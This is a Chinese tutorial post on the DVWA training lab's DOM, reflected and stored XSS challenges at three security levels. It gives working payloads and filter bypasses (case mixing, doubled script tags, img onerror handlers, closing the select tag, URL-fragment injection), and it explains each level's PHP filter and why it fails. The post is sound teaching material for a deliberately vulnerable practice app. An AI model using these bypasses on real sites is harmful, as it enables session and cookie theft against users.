评论

收藏

[网络数据] 网络安全-靶机dvwa之XSS注入Low到High详解(含代码分析)

网络安全 网络安全 发布于:2021-07-14 12:15 | 阅读数:515 | 评论:0

目录
XSS(DOM)-LOW
普通注入
代码分析
后端
前端
XSS(DOM)-MIDIUM
普通注入
大小写绕过
Html标签绕过
闭合标签
代码分析
XSS(DOM)-HIGH
闭合+HTML标签绕过
代码分析
主要步骤
漏洞原因
XSS(Reflected)-LOW
普通注入
代码分析
主要步骤
漏洞原因
XSS(Reflected)-MIDIUM
普通注入
大小写绕过
双写绕过
代码分析
主要步骤
漏洞原因
XSS(Reflected)-HIGH
普通注入
大小写绕过
双写绕过
html标签绕过
代码分析
主要步骤
漏洞原因
XSS(Stored)-LOW
普通注入
代码分析
主要步骤
漏洞原因
XSS(Stored)-MIDIUM
普通注入
大小写绕过
代码分析
主要步骤
漏洞原因
XSS(Stored)-HIGH
Html标签绕过
代码分析
主要步骤
漏洞原因
本篇文章,针对靶机dvwa(Damn Vulnerable Web Application)中的XSS(DOM)、XSS(Reflected)、XSS(Stored)的LOW、MIDIUM、HIGH安全级别使用网络安全-js安全知识点与XSS常用payloads中提到的XSS注入payloads,使用手工进行XSS注入。并根据网络安全-php安全知识点对LOW、MIDIUM、HIGH、IMPOSSIBLE安全级别的代码进行解释。
目标:弹出窗口/获得cookie
XSS(DOM)-LOW
DSC0000.png 正常

可以看到,是get型

普通注入
<script>alert('lady_killer9')</script>
DSC0001.png 注入成功


代码分析
后端
<?php
# No protections, anything goes
?>
前端

DSC0002.png F12

代码:
if (document.location.href.indexOf("default=") >= 0) {
  var lang = document.location.href.substring(document.location.href.indexOf("default=") + 8);
  document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
  document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
下拉框显示4个,上面显示default参数的内容
漏洞原因:
输入未过滤
输出未改变编码
XSS(DOM)-MIDIUM
DSC0003.png 正常

可以看到是Get型

普通注入
<script>alert('lady_killer9')</script>
DSC0004.png 过了一会没有问题

过了一会,然后显示English。尝试大小写绕过。

大小写绕过
<scRipt>alert('lady_killer9')</sCript>
DSC0005.png 正常

和上面一样,过了一会显示English。尝试Html标签绕过。

Html标签绕过
<img src=x:alert(alt) onerror=eval(src) alt=xss>
DSC0006.png 仍没有显示

还是没有显示,那应该是需要闭合标签了

闭合标签
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
DSC0007.png 注入成功

DSC0008.png 代码插进去了

在这之前我们已经按了F12,查看了源代码,其实除了存储型,DOM和反射都没什么意思,因为可以F12直接查看,对其他用户也没什么***性。

代码分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
  $default = $_GET['default'];
  
  # Do not allow script tags
  if (stripos ($default, "<script") !== false) {
    header ("location: ?default=English");
    exit;
  }
}
?>
后端过滤了一下<script,大小写都不行。
XSS(DOM)-HIGHHIGH级别就不从普通的开始试了

闭合+HTML标签绕过
></option></select><img src=x:alert(alt) onerror=eval(src) alt=xss>
DSC0009.png 失败了

还是会变成English,应该是后端的问题。我也不知道怎么干了。。。
----------------写完后面的反射型,我又回来了---------------
DSC00010.png 锚点

反射型XSS注入url的锚点(#)后并没有标签id,这似乎提醒着我们可以在锚点后注入(《CTF特训营 P28页也提到了锚点》),这样就不会传到服务器了。
English#<script>alert('xss')</script>
DSC00011.png 注入成功

DSC00012.png 点击确定后


代码分析
<?php
// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
  # White list the allowable languages
  switch ($_GET['default']) {
    case "French":
    case "English":
    case "German":
    case "Spanish":
      # ok
      break;
    default:
      header ("location: ?default=English");
      exit;
  }
}
?>
主要步骤

  • array_key_exists函数判断default变量是否存在,并判断是否非空
  • 使用switch...case构造白名单,若不在case中跳回到English
漏洞原因

  • 输入想使用switch..case来解决,确实很棒,但是由于不是存储型,可以不发送到服务器进行数据库的存储。不过,锚点这个挺难想到的,还好后面有提示,挺巧妙的!!!
  • 输出未改变编码
XSS(Reflected)-LOW
DSC00013.png 正常


普通注入
<script>alert('XSS')</script>
DSC00014.png 异常


代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
  // Feedback for end user
  echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
主要步骤

  • array_key_exists函数判断name变量是否存在,并判断是否非空
  • 若存在且非空,直接输出
漏洞原因

  • 输入未过滤
  • 输出未改变编码
XSS(Reflected)-MIDIUM
DSC00015.png 正常


普通注入
<script>alert(document.cookie)</script>
DSC00016.png 注入失败

从结果来看,<script>和</script>没有了,可能被删除或替换为空字符串。尝试大小写绕过和双写绕过

大小写绕过
<sCript>alert(document.cookie)</scRipt>
DSC00017.png 注入成功


双写绕过
<scr<script>ipt>alert('XSS')</scr<script>ipt>
DSC00018.png 注入成功


代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
  // Get input
  $name = str_replace( '<script>', '', $_GET[ 'name' ] );
  // Feedback for end user
  echo "<pre>Hello ${name}</pre>";
}
?>
主要步骤

  • array_key_exists函数判断name变量是否存在,并判断是否非空
  • 若存在且非空,使用str_replace函数替换<script>为空字符串,然后输出
漏洞原因

  • 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
  • 输出未改变编码
XSS(Reflected)-HIGH
DSC00019.png 正常


普通注入
<script>alert('XSS')</script>
DSC00020.png 注入失败

仅剩余了>,其他全部没有了,尝试大小写或双写绕过

大小写绕过
<sCript>aleRt(document.cookie)</scRipt>
DSC00021.png 注入失败


双写绕过
<scr<script>ipt>aleralertt(document.cookie)</scr<script>ipt>
DSC00022.png 注入失败

可能使用了正则表达式,尝试不使用js标签

html标签绕过
<img src=x onerror=alert('XSS');>
DSC00023.png 注入成功
<A HREF=http://127.0.0.1/phpinfo.php>link</A>
DSC00024.png 注入成功

DSC00025.png 点击链接后跳转


代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
  // Get input
  $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
  // Feedback for end user
  echo "<pre>Hello ${name}</pre>";
}
?>
主要步骤

  • array_key_exists函数判断name变量是否存在,并判断是否非空
  • 若存在且非空,使用preg_replace函数进行正则表达式匹配,且大小写都会匹配到,替换为空字符串,然后输出
漏洞原因

  • 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签
  • 输出未改变编码
XSS(Stored)-LOW
DSC00026.png 正常

post方式,两个都会输出,对一个进行注入即可。

普通注入
<script>alert('lady_killer9')</script>
DSC00027.png 失败

Name有长度限制,Message注入失败,应该是Name可以注入,但是被限制了。尝试抓包进行注入。
txtName=<script>alert('lady_killer9')</script>&mtxMessage=%3Cscript%3Ealert%28%27lady_killer9%27%29%3C%2Fscript%3E&btnSign=Sign+Guestbook
DSC00028.png 注入成功

DSC00029.png 点击其他页面并返回


代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
  // Get input
  $message = trim( $_POST[ 'mtxMessage' ] );
  $name  = trim( $_POST[ 'txtName' ] );
  // Sanitize message input
  $message = stripslashes( $message );
  $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  // Sanitize name input
  $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  // Update database
  $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  //mysql_close();
}
?>
主要步骤

  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
  • 使用stripslashes函数对message删除反斜杠,使用mysqli_real_escape_string函数对name、message变量中的特殊字符转义
  • 使用mysqli_query函数插入数据库

漏洞原因

  • 未过滤输入,使用post方式增加难度
  • 输出未改变编码
通过阅读后端代码,我们发现name长度的判断并不在后端,按F12查看前端代码。
DSC00030.png 发现maxlength

删除maxlength="10"
DSC00031.png 注入成功

漏洞原因:使用前端限制长度
XSS(Stored)-MIDIUM
DSC00032.png 使用前端进行的长度限制

通过LOW级别,我们知道是前端限制的Name,我们接下来不再抓包,直接删除maxlength,就在页面进行XSS注入。

普通注入
<script>alert('lady_killer9')</script>
DSC00033.png 标签被删除

标签没了,尝试大小写绕过

大小写绕过
<scRipt>alert('lady_killer9')</sCript>
DSC00034.png 注入

DSC00035.png 成功


代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
  // Get input
  $message = trim( $_POST[ 'mtxMessage' ] );
  $name  = trim( $_POST[ 'txtName' ] );
  // Sanitize message input
  $message = strip_tags( addslashes( $message ) );
  $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  $message = htmlspecialchars( $message );
  // Sanitize name input
  $name = str_replace( '<script>', '', $name );
  $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  // Update database
  $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  //mysql_close();
}
?>
主要步骤

  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
  • 使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义
  • 使用str_replace函数将name中的<script>标签替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义
  • 使用mysqli_query函数插入数据库
漏洞原因

  • 输入过滤不到位,尝试使用str_replace函数进行过滤,此函数区分大小写,对替换后的字符串不会再检查,可被双写、大小写等绕过
  • 输出未改变编码
XSS(Stored)-HIGH还是post方式,前端检查长度,直接删除,然后Html标签绕过、

Html标签绕过
<img src=x onerror=alert('XSS');>
DSC00036.png 注入

DSC00037.png 成功



代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
  // Get input
  $message = trim( $_POST[ 'mtxMessage' ] );
  $name  = trim( $_POST[ 'txtName' ] );
  // Sanitize message input
  $message = strip_tags( addslashes( $message ) );
  $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  $message = htmlspecialchars( $message );
  // Sanitize name input
  $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
  $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  // Update database
  $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
  $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  //mysql_close();
}
?>
主要步骤

  • isset函数判断btnSign是否提交,即是否点击了Sign Guessbook按钮。
  • 使用trim函数去除提交的mtxMesssage、txtName前后导空格,分别给message、name变量
  • 使用strip_tags函数对 使用函数addslashes添加反斜杠的message变量 剥去heml、xml、php标签,使用mysqli_real_escape_string函数对message变量中的特殊字符转义
  • 使用preg_replace函数进行正则表达式匹配,然后替换为空字符串,使用mysqli_real_escape_string函数对name变量中的特殊字符转义
  • 使用mysqli_query函数插入数据库
漏洞原因

  • 输入过滤不到位,尝试使用preg_replace函数进行正则表达式匹配过滤,但仅匹配了<script>相关,未匹配html标签
  • 输出未改变编码
更多内容查看:网络安全-自学笔记


关注下面的标签,发现更多相似文章